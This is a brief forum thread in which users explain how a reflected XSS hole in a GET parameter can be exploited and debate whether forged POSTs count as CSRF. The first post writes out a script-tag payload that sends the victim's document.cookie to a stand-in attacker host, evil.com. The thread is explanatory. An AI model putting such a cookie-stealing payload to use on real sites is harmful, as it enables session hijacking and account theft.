[blahpro]

Yes. If you had an XSS vulnerability via a GET querystring parameter, an attacker could encourage a victim to visit a URL which exploited the vulnerability (or, say, iframed the URL in another page which they got the victim to visit), then the attacker could, say steal the user's auth cookie with something like <script>(new Image).src = "http://evil.com/stolencookie=" + document.cookie;</script>.

[jerf]

POSTs can be forged too, if another vulnerable site permits Javascript on their domain accidentally (among other ways, but that's the big one).

[qu4z-2]

Isn't that CSRF, though?